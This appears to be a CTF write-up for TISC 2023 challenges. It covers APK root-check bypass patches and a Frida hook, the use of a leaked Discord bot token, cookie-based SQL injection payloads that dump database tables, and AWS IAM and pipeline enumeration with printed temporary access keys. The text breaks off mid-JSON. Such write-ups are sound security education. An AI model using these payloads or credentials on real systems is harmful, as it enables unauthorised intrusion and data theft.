View on GitHub for video embeds to work.
- TISC 2023
Domain(s): Forensics
Unknown to the world, the sinister organization PALINDROME has been crafting a catastrophic malware that threatens to plunge civilization into chaos. Your mission, if you choose to accept it, is to infiltrate their secret digital lair, a disk image exfiltrated by our spies. This disk holds the key to unraveling their diabolical scheme and preventing the unleashing of a suspected destructive virus.
You will be provided with the following file:
- md5(challenge.tar.xz) = 80ff51568943a39de4975648e688d6a3
Notes:
- challenge.tar.xz decompresses into challenge.img
- FLAG FORMAT is TISC{<some text you have to find>}
I was lazy so I just chucked this into Autopsy, and found an ELF file carved from the disk image under the deleted files section in Autopsy.
In the strings
output of the file, notice the string TISC{w4s_th3r3_s0m3th1ng_l3ft_%s}
. The format specifier %s
probably means that the end of the flag is determined by some operations that the program does.
I was once again lazy, so instead of RE-ing the program, I just attempted to run it. There were some missing shared libraries that I ended up just copying over from the /lib/ folder in the disk image. Running the program with everything present, the flag is printed:
Flag: TISC{w4s_th3r3_s0m3th1ng_l3ft_ubrekeslydsqdpotohujsgpzqiojwzfq}
Domain(s): Crypto
Our sources told us that one of PALINDROME's lieutenants, XIPHEREHPIX, wrote a special computer program for certain members of PALINDROME. We have somehow managed to get a copy of the source code and the compiled binary. The intention of the program is unclear, but we think encrypted blob inside the program could contain a valuable secret.
Based on the source code given, we can see that the program asks for a password of between 40 to 50 characters, which is then checked against a hash (verify_password
). If the password is correct, it is used to generate a 256-bit key for use in AES-GCM decryption of the "encrypted blob".
Analysing the key generating function (initialise_key
), it can be observed that the key is generated by:
- generating an array of 20 SHA-256 hashes, by taking the SHA-256 hash of the previous item in the array, starting with the SHA-256 hash of "PALINDROME IS THE BEST!";
- looping through every character of the password, and then every bit of the password, incrementing a counter variable (mod 20) for every bit;
- accumulating XOR of the SHA-256 hashes in the array if the current bit is 1, where the index of the hash to XOR is determined by the counter variable at any given bit.
An interesting property of XOR is that a ^ b ^ a = b
, which means that repeatedly XORing with any hash will still result in effectively XORing by that hash either once or zero times. Since we know all the hashes that can ever possibly be XORed together, we can generate all the possible keys by XORing the hashes together in every possible combination, i.e. a total of
Full solve script: solve.ipynb
Flag: TISC{K3ysP4ce_1s_t00_smol_d2g7d97agsd8yhr}
Domain(s): Mobile
We've managed to grab an app from a suspicious device just before it got reset! The copying couldn't finish so some of the last few bytes got corrupted... But not all is lost! We heard that the file shouldn't have any comments in it! Help us uncover the secrets within this app!
When we try to install the APK, we get an error (INSTALL_PARSE_FAILED_NOT_APK
):
Since APKs are just ZIP files, we can try to unzip the given file (unzip kpa.apk
) to investigate further, which works, but warns us caution: zipfile comment truncated
. Briefly reading up on the ZIP file format tells us that ZIP files can have comments in their EOCD record.
Looking at the hexdump (xxd kpa.apk | tail
) at the end of the file, we find the EOCD record, marked by its signature (0x06054b50), starting at offset 0x002b0d49:
$ xxd kpa.apk | tail
002b0cc0: 2f61 6e64 726f 6964 782e 7669 6577 7061 /androidx.viewpa
002b0cd0: 6765 725f 7669 6577 7061 6765 722e 7665 ger_viewpager.ve
002b0ce0: 7273 696f 6e50 4b01 0214 0000 0000 0008 rsionPK.........
002b0cf0: 0021 0821 025a 58a0 ca08 0000 0006 0000 .!.!.ZX.........
002b0d00: 0035 0000 0000 0000 0000 0000 0000 0070 .5.............p
002b0d10: 302a 004d 4554 412d 494e 462f 636f 6d2e 0*.META-INF/com.
002b0d20: 676f 6f67 6c65 2e61 6e64 726f 6964 2e6d google.android.m
002b0d30: 6174 6572 6961 6c5f 6d61 7465 7269 616c aterial_material
002b0d40: 2e76 6572 7369 6f6e 504b 0506 0000 0000 .versionPK......
002b0d50: d002 d002 7dbc 0000 cb50 2a00 0a00 ....}....P*...
The last two bytes (0x000a) represent the length of the comment, which is 10 bytes. However, there is obviously no comment after that. We can try to fix this by changing the last two bytes to 0x0000, which will make the comment length 0, and thus no comment.
Now, we can try to install the APK again, which works this time. However, when we are unable to run the app due to being detected as a "suspicious device":
Using dex2jar, we convert the APK to a Java ARchive of .class files. Then, we can use tools like JD-GUI to decompile and view the Java sources of the app. In the com.tisc.kappa.MainActivity
class, we can see that the app performs some kind of check (in the class j1.b
) related to if the device is rooted whenever it is resumed. Since the check exists as a simple if
statement in the onResume
function, we can just patch the APK to skip over this statement.
Specifically, we can use Apktool, together with apk.sh (which I had to modify since it didn't work out of the box with my platform), to edit the Smali code (I also tried using Frida to hook onto the j1.b.e
function, but it didn't work for some reason):
@@ -653,7 +653,7 @@
invoke-static {}, Lj1/b;->e()Z
move-result v0
- if-eqz v0, :cond_0
+ if-nez v0, :cond_0
const-string v0, "CHECK FAILED"
const-string v1, "BYE"
const-string v2, "Suspicious device detected!"
invoke-direct {p0, v2, v0, v1}, Lcom/tisc/kappa/MainActivity;->P(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
:cond_0
invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
We notice another check for certain apps to be installed on the device (j1.a.a
), before checking for root again. We can also patch these out, altogether giving us the following diff:
diff --git a/kpa/smali/com/tisc/kappa/MainActivity.smali b/kpa-patched/smali/com/tisc/kappa/MainActivity.smali
index 20bf978..9a5ad71 100644
--- a/kpa/smali/com/tisc/kappa/MainActivity.smali
+++ b/kpa-patched/smali/com/tisc/kappa/MainActivity.smali
@@ -653,7 +653,7 @@
move-result v0
- if-eqz v0, :cond_0
+ if-nez v0, :cond_0
const-string v0, "CHECK FAILED"
@@ -678,7 +678,7 @@
move-result v0
- if-eq v0, v1, :cond_1
+ if-ne v0, v1, :cond_1
sget v0, Lj1/c;->a:I
@@ -692,7 +692,7 @@
move-result v0
- if-nez v0, :cond_2
+ if-eqz v0, :cond_2
sget v0, Lj1/d;->c:I
After installing and running the patched APK, we are greeted with the following screen:
We need to find a key with a SHA-1 hash of d8655ddb9b7e6962350cc68a60e02cc3dd910583
, which then undergoes several transformations to give us our flag, as seen in com.tisc.kappa.MainActivity.M
.
Looking at the onResume
function again, there is a com.tisc.kappa.sw
class which has its a
method called. This class loads a native library and calls the css
method defined in the library, setting some system property named KAPPA
to the value returned. I originally tried to read up on JNI and how to RE native libraries, but quickly gave up because I am not exactly good at RE :c
I then decided to try using Frida again, this time hooking onto the css
function to get its return value. It did not work, probably because it was a native function? However, after some Googling, I realised I could hook onto the System.setProperty
call, and dump its arguments. I used the following Frida script (I used Frida gadget instead of Frida server since apk.sh automatically injects the gadget into the APK, hence console.log outputs to logcat):
// print to logcat the console.log output
// see: https://github.com/frida/frida/issues/382
var android_log_write = new NativeFunction(
Module.getExportByName(null, '__android_log_write'),
'int',
['int', 'pointer', 'pointer']
);
var tag = Memory.allocUtf8String("[frida-script][ax]");
console.log = function (str) {
android_log_write(3, tag, Memory.allocUtf8String(str));
}
// hook onto System.setProperty and dump arguments
Java.perform(function () {
Java.use('java.lang.System').setProperty.implementation = function (s1, s2) {
console.log(s1 + ": " + s2);
}
});
When the app is run, we can see the following output in logcat:
$ adb logcat | grep "frida-script"
09-21 14:20:52.232 11248 11248 D [frida-script][ax]: KAPPA: ArBraCaDabra?KAPPACABANA!
Entering ArBraCaDabra?KAPPACABANA!
into the input field in the app and pressing "Submit!" gives us the flag:
Flag: TISC{C0ngr@tS!us0lv3dIT,KaPpA!}
Domain(s): Pwn, Misc
After last year's hit online RPG game "Slay The Dragon", the cybercriminal organization PALINDROME has once again released another seemingly impossible game called "Really Unfair Battleships Game" (RUBG). This version of Battleships is played on a 16x16 grid, and you only have one life. Once again, we suspect that the game is being used as a recruitment campaign. So once again, you're up!
Things are a little different this time. According to the intelligence we've gathered, just getting a VICTORY in the game is not enough.
PALINDROME would only be handing out flags to hackers who can get a FLAWLESS VICTORY.
You are tasked to beat the game and provide us with the flag (a string in the format TISC{xxx}) that would be displayed after getting a FLAWLESS VICTORY. Our success is critical to ensure the safety of Singapore's cyberspace, as it would allow us to send more undercover operatives to infiltrate PALINDROME.
Godspeed!
You will be provided with the following:
Windows Client (.exe)
- Client takes a while to launch, please wait a few seconds.
- If Windows SmartScreen pops up, tell it to run the client anyway.
- If exe does not run, make sure Windows Defender isn't putting it on quarantine.
Linux Client (.AppImage)
- Please install fuse before running, you can do "sudo apt install -y fuse"
- Tested to work on Ubuntu 22.04 LTS
rubg-1.0.0.AppImage (md5: f59d38c18ebf92c8934ae1ff9bf9659e
)
rubg_1.0.0.exe (md5: 49a33dc253920559072fec770a369ad7
)
Note: Files are split into multiple parts to avoid GitHub's file size limits.
To be honest, I didn't really know how to approach this problem because it seemed like a RE challenge. But looking at the defined strings in Ghidra, there were some interesting strings like "Error launching installer" and "Error writing temporary file. Make sure your temp folder is valid.", which led me to stare at the %TEMP% folder hoping maybe the battleship map will appear there.
Unfortunately, that was not the case. Fortunately, there were indeed useful things in the %TEMP% folder. We discover a folder seemingly containing the program files of the game, which contained license files for Chromium and Electron. Hm, an maybe electron app? Sure enough, an app.asar will be found in the resources sub-folder. The file is an electron archive, which we can use the asar CLI to unpack, giving us the source code of the app.
The source code javascript was obfuscated and minified and of considerable length, making it difficult to understand. However, we would be able to quickly figure out that the game gets a new config from http://rubg.chals.tisc23.ctf.sg:34567/generate
. To get a constant map to work with, we just click and find the map that gets us a "boom" anywhere, and then copy and paste the JSON from the network tab in devtools into the javascript source.
We can run our own instance of the game by using Electron.
Since we now have a constant map, we can bruteforce each cell to find all cells that give us a "boom". I used the following script in the console to achieve this:
// define sleep function
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
// try clicking every single cell
var booms = [];
for (var i = 0; i < 256; i++) {
document.getElementsByClassName("cell")[i].click();
await sleep(10);
if (document.getElementsByClassName("cell").length) {
// if cells still present, then still alive, meaning a boom
booms.push(i);
} else {
// if cells not present, then dead, meaning no boom, must restart
document.getElementsByTagName("button")[0].click();
}
await sleep(10);
}
console.log(booms);
4-bruteforce-cells.mov
For my map, we get booms = [4, 20, 36, 69, 70, 71, 72, 73, 102, 103, 133, 149, 163, 179, 195, 211]
. We can click on these cells using another script:
for (var i = 0; i < booms.length; i++) {
document.getElementsByClassName("cell")[booms[i]].click();
await sleep(10);
}
While this gives us a victory, it is not a flawless victory:
Tracing the javascript source to find where the flag is displayed (by seeing where fvictory-5006d78b.png is used, where victory-3e1ba9c7.wav is played, etc.), we arrive at this function, which seems to display the flag when the last cell is clicked and the flawless victory condition is fulfilled, by submitting values to the /solve endpoint of the server, based on doing math when cells are clicked:
We can see that the function checks if the cells are clicked in a certain order. Instead of trying to RE the math to get the correct parameters to submit to the /solve endpoint, we instead try to win the game. Since the correct order is calculated within this function, we can just copy the logic and apply it on our array of booms to get the correct order. We also need to define the n and r values, which are determined by the data we copied from the /generate endpoint. The script I used is as follows:
// define n and r values based on json from /generate
// before this, we must first copy and paste the javascript source into the console
// to allow us to use whatever obfuscated functions that they use
n = Ke(BigInt("9038262844600621635"));
r = Ke(BigInt("12590148617546796285"));
// pair each cell with their corresponding value to use in sorting
var boomsWithValues = {};
var values = []
for (var i = 0; i < booms.length; i++) {
value = `${n.value.toString(16).padStart(16, "0")[15 - booms[i] % 16]}${r.value.toString(16).padStart(16, "0")[Math.floor(booms[i] / 16)]}`
// use the calculated value as key for ease of access later
boomsWithValues[value] = booms[i];
values.push(value);
}
// sort the generated values
sortedValues = values.sort();
// click the cells in the correctly sorted order
for (var i = 0; i < sortedValues.length; i++) {
document.getElementsByClassName("cell")[boomsWithValues[sortedValues[i]]].click();
await sleep(10);
}
4-flawless-victory.mov
The flawless victory gives us the flag:
Flag: TISC{t4rg3t5_4cqu1r3d_fl4wl355ly_64b35477ac}
Domain(s): OSINT, Misc
Valuable intel suggests that PALINDROME has established a secret online chat room for their members to discuss on plans to invade Singapore's cyber space. One of their junior developers accidentally left a repository public, but he was quick enough to remove all the commit history, only leaving some non-classified files behind. One might be able to just dig out some secrets of PALINDROME and get invited to their secret chat room...who knows?
Start here: https://github.com/palindrome-wow/PALINDROME-PORTAL
While I had found the "portal" URL relatively quickly, I completely did not realise that the password was (almost) in plain sight too. Like many other players, I mistakenly thought that this involved exploiting GitHub Actions workflows to run arbitrary code on the repository. Alas, I was wrong.
The password was simply URL encoded, and hence was not censored automatically in the workflow run logs. We decode it using CyberChef and get the password: :dIcH:..uU9gp1<@<3Q"DBM5F<)64S<(01tF(Jj%ATV@$Gl
.
Now, we enter the password in the portal and get shown a page with a "Welcome!" hyperlink that is a Discord invite. Opening the actual response from the server, we get the following:
<a href=https://discord.gg/2cyZ6zpw7J>Welcome!</a>
<!-- MTEyNTk4MjE2NjM3MTc5NDk5NQ.G3Z-1i.S67AaSlCSOBOJ52EovhFuDjJ1Avmx13wdYa3cE -->
<!-- You have 15 minutes before this token expires! Find a way to use it and be fast! You can always re-enter the password to get a new token, but please be considerate, it is highly limited. -->
From having worked with Discord bots in the past and the given comment about a "token", we deduce that this is likely a Discord bot token. Since I did not really want to code, I tried finding Discord "bot clients" that attempt to replicate Discord clients while using a bot token to login. I found this, which worked. Using this would be able to give us the solution directly after staring at the Audit Log for long enough. However, let us go through the full process of solving this challenge 😺.
(Documentation from this point onwards for this challenge may be kinda scuffed and of lower quality because these are all form notes I took while solving this challenge, since at the time of writing this, I am no longer able to access the Discord server through the bot.)
First, we see a very interesting conversation:
We can summarise the above conversation with ChatGPT or the like, which tells us that:
Anya overheard a conversation about a new mission involving their spy organization PALINDROME infiltrating Singapore's cyberspace. The mission is described as complicated and requires special permission involving the number '66688'. Anya finds a colorful birthday invitation signed off with "client_id 1076936873106231447", which may be related to the mission. They decide to keep the invitation safe and wait for Anya's supposed birthday to see if anything happens.
We can figure out the client_id hint pretty easily, either using online tools or Discord's API with the bot token. The client_id is that of the BetterInvites#0896
Discord bot. Searching about this bot tells us that it can automatically assign roles to users who join the server using specific invite links.
For the hint related to "permission" and "66688", we discover that this refers to Discord's permissions integer system. Checking the permissions integer with any bot token (we can use the BetterInvites' one given to us above) by generating a URL to add the bot (e.g. https://discord.com/oauth2/authorize?client_id=1076936873106231447&scope=bot&permissions=66688), we can see that the integer 66688
corresponds to the following permissions:
These permissions likely refer to the permissions of the bot whose token is given to us, and we can confirm this by checking if we can view the Audit Log, which works. Using the following script, we can print all invites that have been created that are still recorded in the Audit Log:
import discord
intents = discord.Intents.default()
client = discord.Client(intents=intents)
@client.event
async def on_ready():
guild = client.get_guild(1130166064710426674)
if not guild:
return
# can be used in previous step to find user with given client_id
# betterinvites = await guild.fetch_member(1076936873106231447)
# print every invite created (from Audit Log records)
async for entry in guild.audit_logs(action=discord.AuditLogAction.invite_create):
print(f"{entry.user} invite {entry.target}")
# run bot given with bot token
client.run("MTEyNTk4MjE2NjM3MTc5NDk5NQ.GQ6lHg.Tt1F4E7S9NQBMLqtHQPynhRTN1HxtJZO2bnG8Q")
We get the following output:
palindromewow invite https://discord.gg/HQvTm5DSTs
palindromewow invite https://discord.gg/RBjatqsJ
palindromewow invite https://discord.gg/pxbYNkbb
palindromewow invite https://discord.gg/2cyZ6zpw7J
palindromewow invite https://discord.gg/QB2VRCz3
The second, third, and last invite links are invalid, and the fourth invite link is the one given in the portal, which does not grant us any special role upon joining with it. The first invite link grants us permission to view the #flag channel in the server (note: it may not load properly when upon joining, but eventually loads after switching between channels etc.), which contains the flag:
Flag: TISC{H4ppY_B1rThD4y_4nY4!}
I chose to do the cloud challenge.
Domain(s): Web
We have discovered PALINDROME's recruitment site. Infiltrate it and see what you can find!
The page asks us to guess a "lucky number", before telling us the lucky number if it is wrong. This reminded me of randcrack. However, when I tried clearing session cookies and revisiting the site, the lucky numbers were different each time. I then tried to see if this somehow involved using TOTP and HOTP, since it was about this time when I discovered a comment with a Base32 string in the HTML source. However, this did not work (and I wasted sooooo long on this). The Base32 string is as MZ2W4Y3UNFXW4IDSMFXGI33NFAUXWJDQOJSXMIB5EASF6U2FKNJUST2OLMRHGZLFMQRF2OZEMN2XE4TFNZ2CAPJAFBUW45BJERYHEZLWEBPCAOBUGQ3TIMRZGA3DWIBEMN2XE4TFNZ2CAPJAMRSWGYTJNYUCIY3VOJZGK3TUFE5XO2DJNRSSQ43UOJWGK3RIERRXK4TSMVXHIKJ4GMZCS6ZEMN2XE4TFNZ2CAPJAEIYCELREMN2XE4TFNZ2DW7JEMZUXE43UEA6SA43VMJZXI4RIERRXK4TSMVXHILBQFQ3SSOZEONSWG33OMQQD2IDTOVRHG5DSFASGG5LSOJSW45BMG4WDENJJHMSGG5LSOJSW45BAHUQCI43FMNXW4ZBOERTGS4TTOQ5SIY3VOJZGK3TUEA6SAYTJNZSGKYZIERRXK4TSMVXHIKJ3ERPVGRKTKNEU6TS3EJZWKZLEEJOSAPJAERRXK4TSMVXHIO3SMV2HK4TOEASGG5LSOJSW45BFGEYDAMBQGAYDW7I
.
It took me a non-negligible amount of time to think of decoding the Base32 string. After formatting the decoded string, we get the following PHP function:
function random() {
$prev = $_SESSION["seed"];
$current = (int)$prev ^ 844742906;
$current = decbin($current);
while (strlen($current)<32) {
$current = "0".$current;
}
$first = substr($current,0,7);
$second = substr($current,7,25);
$current = $second.$first;
$current = bindec($current);
$_SESSION["seed"] = $current;
return $current % 1000000;
}
This seems to be what is used to generate the lucky numbers. Since we cannot break the session cookie, we can try to bruteforce the current seed value based on the previous lucky number shown to us. I wrote the following script to do so:
# random() converted to Python, but takes an input for the `seed`
def r(prev):
curr = prev ^ 844742906
curr = str(bin(curr))[2:]
while len(curr) < 32:
curr = "0" + curr
first = curr[:7]
second = curr[7:]
curr = second + first
curr = int(curr, 2)
return curr, curr % 1000000
# bruteforce the quotient,
# by checking if first lucky number successfully predicts the second lucky number
for i in range(4295): # 4295 is the maximum quotient since any more exceeds 32-bit (unsigned) integer
curr, res = r(525882 + 1000000 * i) # 525882 is the first lucky number
if res == 89533: # 89533 is the second, and immediately previous lucky number
print(i, curr, res)
break
# print the next lucky number
print(r(curr)[1]) # prints 166030, which works
After submitting the correct lucky number, we are redirected to /main.php, which displays an iframe of /table.php, as follows:
When trying to get past the previous part of this challenge, I attempted to fuzz the site, which led me to an interesting /query.php, which gave me inspiration on what to do next. Specifically, /query.php returned a JSON list with 100 people, with ranks ranging from 0 to 9. However, in the table above, we only see 10 people. Poking around, we notice a new rank
cookie which is set to 0
. Setting that cookie to 9
gives us the table with all 100 people. Therefore, we can hypothesise that the cookie may be used in some SQL query as part of the WHERE clause to filter the results (i.e. something like ... WHERE rank >= {rank_cookie}
). We test this by setting rank=0 OR 1=1;--
(in fact, a simpler rank=0 OR 1=1
also works, so this is probably at the end of the query statement), which indeed still gives us all 100 people.
Using Python, I wrote the following function to easily carry out the SQL injections:
import re
import requests
def inject(payload):
res = requests.get(
"http://chals.tisc23.ctf.sg:51943/table.php",
headers={"Cookie": f"PHPSESSID=bino2h4i8lp2arvh1e09gc6d7n; rank={payload}"},
).content.decode()
groups = re.findall(r"ff1234</td>\s+<td>(.*)</td>\s+<td>5678ff", res)
for group in groups:
print(group)
return groups
Injecting with standard SQLi payloads:
>>> inject("0 UNION SELECT 'ff1234', table_name, '5678ff', null FROM information_schema.tables WHERE table_schema=database()")
CTF_SECRET
PERSONNEL
['CTF_SECRET', 'PERSONNEL']
>>>
>>> inject("0 UNION SELECT 'ff1234', column_name, '5678ff', null FROM information_schema.columns WHERE table_name='CTF_SECRET'")
flag
['flag']
>>>
>>> inject("0 UNION SELECT 'ff1234', flag, '5678ff', null FROM CTF_SECRET")
TISC{Y0u_4rE_7h3_CH0s3n_0nE}
['TISC{Y0u_4rE_7h3_CH0s3n_0nE}']
Flag: TISC{Y0u_4rE_7h3_CH0s3n_0nE}
Domain(s): Cloud
Palindrome has accidentally exposed one of their onboarding guide! Sneak in as a new developer and exfiltrate any meaningful intelligence on their production system.
https://d3mg5a7c6anwbv.cloudfront.net/
Note: Concatenate flag1 and flag2 to form the flag for submission.
First, we find out the mTLS requires us to have a client certificate (i.e. client.crt), which is probably what we get from the crt link from the place to submit the required details. Trying, failing, and reading up on mTLS and AWS S3 pre-signed links finally got me to the point of understanding that I needed to generate a .csr and corresponding .key, upload the .csr to the S3 bucket using the csr link, and then download the signed client.crt from the crt link. Copying some openssl commands from this tangentially related guide, I generated a set of client.csr and client.key (openssl req -new -newkey rsa:4096 -keyout client.key -out client.csr -nodes -subj '/CN=Test'
). Since I did not want to accidentally mess up the request headers which may affect the signature of the pre-signed links, I wrote a script to do it consistently:
import time
from requests import Request, Session, get
s = Session()
# get links
links = get("https://61lxjmt991.execute-api.ap-southeast-1.amazonaws.com/development/generate").json()
# upload csr
csr_req = Request("PUT", links["csr"], data=open("client.csr", "rb"))
csr_prepped = csr_req.prepare()
s.send(csr_prepped)
time.sleep(1)
# get crt
crt_resp = get(links["crt"])
while crt_resp.status_code != 200:
time.sleep(1)
crt_resp = get(links["crt"])
with open("client.crt", "wb") as f:
f.write(crt_resp.content)
Then, we access the site for temporary credentials using curl -k https://13.213.29.24/ --cert client.crt --key client.key
. This gets us our temporary AWS credentials with an output similar to the following:
{"Message": "Hello new agent, use the credentials wisely! It should be live for the next 120 minutes! Our antivirus will wipe them out and the associated resources after the expected time usage.", "Access_Key": "AKIATMLSTF3NZV6SWSBD", "Secret_Key": "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"}
First, I tried to use enumerate-iam and iam__bruteforce_permissions
in Pacu. This did not really yield many useful results since neither displayed all the permissions we had, possibly because some permissions are restricted to certain resources, and bruteforcing with a generic dummy resource will not work. However, there are some useful permissions, and two other interesting ones:
We have permissions to list pipelines/projects in CodePipeline/CodeBuild, which we will see later is useful. Using aws iam list-roles
, the following roles are interesting (omitted those that seem to be defaults):
{
"Roles": [
{
"Path": "/",
"RoleName": "codepipeline-role",
"RoleId": "AROATMLSTF3NVDP7IG3FT",
"Arn": "arn:aws:iam::232705437403:role/codepipeline-role",
"CreateDate": "2023-07-21T15:05:05Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "codepipeline.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "cwe-role-codepipeline",
"RoleId": "AROATMLSTF3NWCYCLBTXH",
"Arn": "arn:aws:iam::232705437403:role/cwe-role-codepipeline",
"CreateDate": "2023-07-21T15:05:05Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "events.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "ec2_production_instance_role",
"RoleId": "AROATMLSTF3NWHT3HMFVM",
"Arn": "arn:aws:iam::232705437403:role/ec2_production_instance_role",
"CreateDate": "2023-07-21T15:05:05Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "lambda_agent_webservice_role",
"RoleId": "AROATMLSTF3N4SBQRVI4L",
"Arn": "arn:aws:iam::232705437403:role/lambda_agent_webservice_role",
"CreateDate": "2023-07-21T15:05:06Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "lambda_cleaner_service_role",
"RoleId": "AROATMLSTF3N6Q6LFAWAI",
"Arn": "arn:aws:iam::232705437403:role/lambda_cleaner_service_role",
"CreateDate": "2023-07-21T15:05:05Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "s3_generation_role",
"RoleId": "AROATMLSTF3NV4HYBZAVI",
"Arn": "arn:aws:iam::232705437403:role/s3_generation_role",
"CreateDate": "2023-07-21T15:05:05Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "sign_csr_role",
"RoleId": "AROATMLSTF3N7AGJBPSR2",
"Arn": "arn:aws:iam::232705437403:role/sign_csr_role",
"CreateDate": "2023-07-21T15:05:05Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
}
]
}
I then wrote a (somewhat working) script to attempt to get all (both inline and attached managed policies) for each of these roles. The output files of the script can be found here. It was also at this point that I realised that I could use aws sts get-caller-identity
to find my own username, which I can use in aws iam list-user-policies
and aws iam list-attached-user-policies
, with --user-name agent-b92481fa329a4d32a4c848ea8a225020
. There was no result for list-user-policies
, but we have one attached policy:
{
"AttachedPolicies": [
{
"PolicyName": "agent-b92481fa329a4d32a4c848ea8a225020",
"PolicyArn": "arn:aws:iam::232705437403:policy/agent-b92481fa329a4d32a4c848ea8a225020"
}
]
}
We get the policy using aws iam get-policy --policy-arn arn:aws:iam::232705437403:policy/agent-b92481fa329a4d32a4c848ea8a225020
, which tells us that the latest version is v1, and hence we use aws iam get-policy-version --policy-arn arn:aws:iam::232705437403:policy/agent-b92481fa329a4d32a4c848ea8a225020 --version-id v1
to get the details of the policy:
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"iam:GetPolicy",
"ssm:DescribeParameters",
"iam:GetPolicyVersion",
"iam:List*Policies",
"iam:Get*Policy",
"kms:ListKeys",
"events:ListRules",
"events:DescribeRule",
"kms:GetKeyPolicy",
"codepipeline:ListPipelines",
"codebuild:ListProjects",
"iam:ListRoles",
"codebuild:BatchGetProjects"
],
"Resource": "*"
},
{
"Sid": "VisualEditor2",
"Effect": "Allow",
"Action": [
"iam:ListAttachedUserPolicies"
],
"Resource": "arn:aws:iam::232705437403:user/${aws:username}"
},
{
"Sid": "VisualEditor3",
"Effect": "Allow",
"Action": [
"codepipeline:GetPipeline"
],
"Resource": "arn:aws:codepipeline:ap-southeast-1:232705437403:devsecmeow-pipeline"
},
{
"Sid": "VisualEditor4",
"Effect": "Allow",
"Action": [
"s3:PutObject"
],
"Resource": "arn:aws:s3:::devsecmeow2023zip/*"
}
]
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2023-10-02T23:35:11Z"
}
}
Note: During the CTF, I did not do everything in the order as described here, and took very long trying various things (some futile efforts are omitted here) and reading documentation. It was not so smooth sailing 😿.
We know from looking around that an EventBridge rule trigger can start a CodePipeline pipeline which can involve a CodeBuild build. Let's try to find out more about these services on this account.
We have permissions to do aws events list-rules
, which gives us two rules, one of which is interesting:
{
"Name": "codepipeline-trigger-rule",
"Arn": "arn:aws:events:ap-southeast-1:232705437403:rule/codepipeline-trigger-rule",
"EventPattern": "{\"detail\":{\"eventName\":[\"PutObject\",\"CompleteMultipartUpload\",\"CopyObject\"],\"eventSource\":[\"s3.amazonaws.com\"],\"requestParameters\":{\"bucketName\":[\"devsecmeow2023zip\"],\"key\":[\"rawr.zip\"]}},\"detail-type\":[\"AWS API Call via CloudTrail\"],\"source\":[\"aws.s3\"]}",
"State": "ENABLED",
"Description": "Amazon CloudWatch Events rule to automatically start your pipeline when a change occurs in the Amazon S3 object key or S3 folder. Deleting this may prevent changes from being detected in that pipeline. Read more: http://docs.aws.amazon.com/codepipeline/latest/userguide/pipelines-about-starting.html",
"EventBusName": "default"
}
The EventPattern is as such:
{
"detail": {
"eventName": [
"PutObject",
"CompleteMultipartUpload",
"CopyObject"
],
"eventSource": [
"s3.amazonaws.com"
],
"requestParameters": {
"bucketName": [
"devsecmeow2023zip"
],
"key": [
"rawr.zip"
]
}
},
"detail-type": [
"AWS API Call via CloudTrail"
],
"source": [
"aws.s3"
]
}
This event starts a pipeline whenever the file rawr.zip
is uploaded to the devsecmeow2023zip
bucket. Based on our user permissions above, we are able to upload to this bucket, and hence we can trigger this event to start a pipeline.
We have permissions to do aws codepipeline list-pipelines
, which gives us one pipeline by the name of devsecmeow-pipeline
. We can find out more by doing aws codepipeline get-pipeline --name devsecmeow-pipeline
:
{
"pipeline": {
"name": "devsecmeow-pipeline",
"roleArn": "arn:aws:iam::232705437403:role/codepipeline-role",
"artifactStore": {
"type": "S3",
"location": "devsecmeow2023zip"
},
"stages": [
{
"name": "Source",
"actions": [
{
"name": "Source",
"actionTypeId": {
"category": "Source",
"owner": "AWS",
"provider": "S3",
"version": "1"
},
"runOrder": 1,
"configuration": {
"PollForSourceChanges": "false",
"S3Bucket": "devsecmeow2023zip",
"S3ObjectKey": "rawr.zip"
},
"outputArtifacts": [
{
"name": "source_output"
}
],
"inputArtifacts": []
}
]
},
{
"name": "Build",
"actions": [
{
"name": "TerraformPlan",
"actionTypeId": {
"category": "Build",
"owner": "AWS",
"provider": "CodeBuild",
"version": "1"
},
"runOrder": 1,
"configuration": {
"ProjectName": "devsecmeow-build"
},
"outputArtifacts": [
{
"name": "build_output"
}
],
"inputArtifacts": [
{
"name": "source_output"
}
]
}
]
},
{
"name": "Approval",
"actions": [
{
"name": "Approval",
"actionTypeId": {
"category": "Approval",
"owner": "AWS",
"provider": "Manual",
"version": "1"
},
"runOrder": 1,
"configuration": {},
"outputArtifacts": [],
"inputArtifacts": []
}
]
}
],
"version": 1
},
"metadata": {
